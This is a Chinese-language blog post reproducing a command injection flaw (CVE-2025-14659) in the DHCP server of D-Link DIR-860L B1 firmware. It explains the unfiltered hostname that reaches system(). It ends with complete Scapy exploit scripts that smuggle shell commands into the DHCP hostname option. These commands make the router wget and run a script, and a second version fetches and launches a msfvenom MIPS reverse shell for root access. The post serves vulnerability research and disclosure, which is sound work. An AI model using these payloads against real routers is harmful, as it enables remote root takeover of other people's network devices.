D-Link DIR-860LB1 v203b03 (CVE-2025-14659)命令注入漏洞复现

固件安全命令执行
2025-12-21 23:58
21458

1、漏洞信息

● 产品型号:D-Link DIR-860L (硬件版本 B1)。
● 固件版本:v203b03(及更早版本)。
● 漏洞组件:udhcpd(由 BusyBox 提供的 DHCP 服务守护进程)。
● 漏洞类型:命令注入 (Command Injection)。
● 威胁等级:高危(直接获取 root 权限)。

2、详细信息

该漏洞存在于路由器 DHCP 服务处理逻辑中。当攻击者向路由器发送 DHCP REQUEST 请求续租 IP 时,路由器会提取数据包中 Option 12 (Hostname) 字段的内容。
在固件处理流程中,程序未对 Hostname 字段进行任何特殊字符过滤,直接将其存入变量。随后,在确认租约有效(Existing Lease)并发送 ACK 包后,程序使用 sprintf 函数将 MAC 地址、IP 地址和 Hostname 拼接成如下格式的系统命令:
sprintf(v47, "usockc ... NEW_DEVICE,%s,%s,%s\n", mac, ip, hostname);
紧接着,程序调用 system(v47) 执行该命令。这导致攻击者可以通过构造包含 shell 元字符(如 ;、|)的恶意 Hostname,实现命令注入并以 root 权限执行任意指令。

3、固件模拟

https://legacyfiles.us.dlink.com/DIR-860L/REVB/FIRMWARE/

image.png

接下来我们就尝试模拟这个固件。还是使用AE模拟吧。
sudo ./run.sh DIR860L ./firmwares/DIR-860L_B1_FW203b03.bin

image.png

启动成功。

image.png

4、IDA分析

漏洞信息说在DHCP守护进程中发现了RCE,并且是在处理现有IP地址的DHCP REQUEST消息中,在DHCP处理代码中,那我们就可以去找找DHCP处理的地方了。

image.png

还是常规逻辑去找找这个相关信息,在一个dnsmasq中存在该字样,我们拖到IDA分析。

image.png

能发现有很多关于dhcp的函数,我们先找到DHCP request字样地址。到这里没找到特别有用的信息,我们回头去看udhcpd这个组件。

image.png
我们找到了这样一个处理DHCP的函数。我们分析一下。
这段代码是BusyBox udhcpd的main循环,主要功能在于初始化配置、socket、监听UDP67端口、接收客户端的DHCP包等功能,漏洞在DHCP REQUEST处理路径中触发,尤其是有租约时的续租场景。
与此同时我们又找到了漏洞所在的点。

image.png

case 3:  // DHCP REQUEST
    v30 = (int *)get_option(v48, 50);  // Option 50: requested IP
    v51 = get_option(v48, 54);        // Option 54: server_id
    v31 = get_option(v48, 12);        // Option 12: hostname !!! 这里取 hostname
    v32 = v51;
    v33 = (const char *)v31;
    if ( v31 )  // 如果客户端提供了 hostname
    {
        memcpy(v46, v31, *(unsigned __int8 *)(v31 - 1));  // 复制 hostname 到 v46 缓冲区
        v46[*((unsigned __int8 *)v33 - 1)] = 0;            // 加 NULL 终止
        v32 = v51;
        v33 = v46;  // v33 现在指向处理后的 hostname 字符串
    }

    // ... 各种租约检查逻辑 ...

    if ( lease_by_chaddr )  // 如果找到现有租约(关键!必须有 lease 才能进这里)
    {
        // ... 检查 server_id、requested_ip 等,决定是否 sendACK ...

        sendACK(v48, v34);  // 发送 ACK,确认续租

        v36 = (const char *)inet_ntoa(v35, v34);  // IP 转字符串

        if ( v33 )  // 如果有 hostname
            sprintf(v47, "usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", v44, v36, v33);
        else
            sprintf(v47, "usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,unkown hostname\n", v44, v36);

        system(v47);  // ← 漏洞点
    }

这就是漏洞所在位置了,这个函数会取hostname:get_option(v48,12)直接从客户端DHCP REQUEST包中提取Option12,然后简单的复制,只用memcpy+NULL终止没有过滤,直接就用sprintf把MAC(%s)、IP(%s)、hostname(%s)拼成命令字符串。
这里v44是MAC地址,v36是转换后的 IP 字符串,v33是我们的hostname。

usockc /var/mydlinkeventd_usock NEW_DEVICE,AA:BB:CC:DD:EE:FF,192.168.0.142,恶意hostname\n

这个usocks(Unix Socket Client) 是D-Link自定义工具, 用于通过 Unix Domain Socket 向 mydlinkeventd 守护进程发送“新设备接入”的事件通知。
也就是:usockc [Socket文件路径] [消息内容]
接下来就直接system()执行,没有转义,那我们就把hostname改为MyHost ; wget http://192.168.0.142:6666/evil.sh ; sh evil.sh ;去进行拼接,那我们得到的最终命令就是:
usockc /var/mydlinkeventd_usock NEW_DEVICE,76:e4:ab:1e:fe:40,192.168.0.142,MyHost ; wget http://... ; sh evil.sh ;\n

这样分号后面的wget+sh直接被shell执行,root权限。

image.png

也就是说我们必须有hostname才会进入到if,而不是else,只有进入到if才会把v33也就是我们的hostname拼接到v47这个参数,从而执行,因此我们需要这样一个存在的hostname。
也就是说我们必须先拥有合法的租约(Lease),并且在发送的恶意 REQUEST 包中包含 Hostname 字段,才能触发拼接逻辑。

image.png

5、漏洞整理

● 建立租约:攻击者首先正常申请 IP,让路由器记录 MAC 和 IP 对应关系(Existing Lease)。
● 构造攻击包:发送 DHCP REQUEST 包进行续租,Option 12 字段包含恶意 Payload。
● 触发逻辑:路由器验证租约成功,调用 sendACK。
● 命令注入:路由器调用 usockc 通知后台进程,将恶意 Hostname 注入 到 system 函数中执行。
● 获取权限:恶意 Payload(如 wget 下载脚本并执行)被运行,导致 RCE。

image.png

6、漏洞复现

准备环境

首先我们连接上路由器网络,然后拿一次IP,让路由器记住我们的MAC和IP。
我们先找找FirmwareAE用的网卡

image.png

能发现是tap7_0,接下来用tap7_0正常拿一次IP(建立租约)。

image.png

我们记录一下数据。
接口名:tap7_0
MAC地址:fe:3e:3e:38:7b:76
分配IP:192.168.0.106
路由器IP:192.168.0.1
XID:0xb50e192a(输出中有两次,是因为大小端翻转的问题,Scapy用0xb50e192a即可)

编写POC(放在文章末尾)

这里我们需要将脚本写自己新建的接口名,MAC地址和分配IP等信息。

关闭自动续租

接下来我们停止 dhclient 进程,防止它自动发送正常的续租包干扰。
sudo killall dhclient

搭建攻击服务器 & 运行 PoC

这里为了测试漏洞是否存在,我们任意尝试下载一个文件。
mkdir ~/pwn && cd ~/pwn
python3 -m http.server 12345
随后运行我们编写的 Python Scapy 脚本发送恶意数据包。

image.png

观察 HTTP 服务器日志,发现路由器 IP 发起了对 /exploit.sh 的 GET 请求,说明命令注入成功。

image.png

到这里就可以确定执行了RCE。

shell反连

接下来我们尝试反弹shell。

image.png

首先我们要确定架构,32位Mips小端,并且是静态链接,接下来用Msf生成一个木马。

msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f elf -o shell.elf

# LHOST=你的攻击机IP (192.168.0.106)
# LPORT=你的监听端口 (4444)
# -f elf 指定输出格式为 ELF
# -o 指定输出文件名

这里我们推荐使用shell_reverse_tcp,体积会更小并且依赖不是特别多,生成木马后就可以监听了,如果是复现的话可以使用nc,比较方便,但是Msf后续使用会更加灵活,功能也会更多。
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f elf -o shell.elf

image.png

接下来我们修改POC脚本。我们命名为shell.py。
我们接下来做的很简单,首先开启一个nc端口,用于监听4444端口反连shell,再开启一个http服务器,用于传输我们的木马。

image.png

我们可以修改POC脚本,因为这是一个RCE漏洞,那我们就可以把这个脚本拼接的命令写成下载并执行,我们执行POC脚本。

image.png

当我们执行完POC后,http服务器会出现下载成功的提示,并且我们nc的监听也连接到了shell。

image.png

这样我们就成功的拿到了shell。

7、Poc

dhcp_test.py脚本如下:

from scapy.all import *

iface = "tap7_0"
mac_address = "fe:3e:3e:38:7b:76"
requested_ip = "192.168.0.106"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.106:12345"
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"

mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0xb50e192a) /
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=False)

Reverse_Shell.py脚本如下:

from scapy.all import *

# === 配置 ===
iface = "tap7_0"
mac_address = "fe:3e:3e:38:7b:76"
requested_ip = "192.168.0.106"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.106:12345"

# === 核心 Payload (直连版) ===
# 1. 下载 shell.elf 到 /tmp/s (避开只读目录,缩短文件名)
# 2. 赋予执行权限
# 3. 后台执行
hostname = f"; wget http://{attacker_server}/shell.elf -O /tmp/s; chmod +x /tmp/s; /tmp/s &"

mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0xb50e192a) /
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print(f"[*] Sending Payload: {hostname}")
sendp(dhcp_request, iface=iface, verbose=False)
print("[*] Packet Sent. Check your NC window!")

参考文章:
https://tzh00203.notion.site/D-Link-DIR-860LB1-v203b03-Command-Injection-in-DHCPd-2c6b5c52018a807eab1ae73dbd95eee3

分享到

参与评论

0 / 200

全部评论 1

阿萨姆369的头像
牛🤬大佬
2025-12-26 16:01
投稿
签到
联系我们
关于我们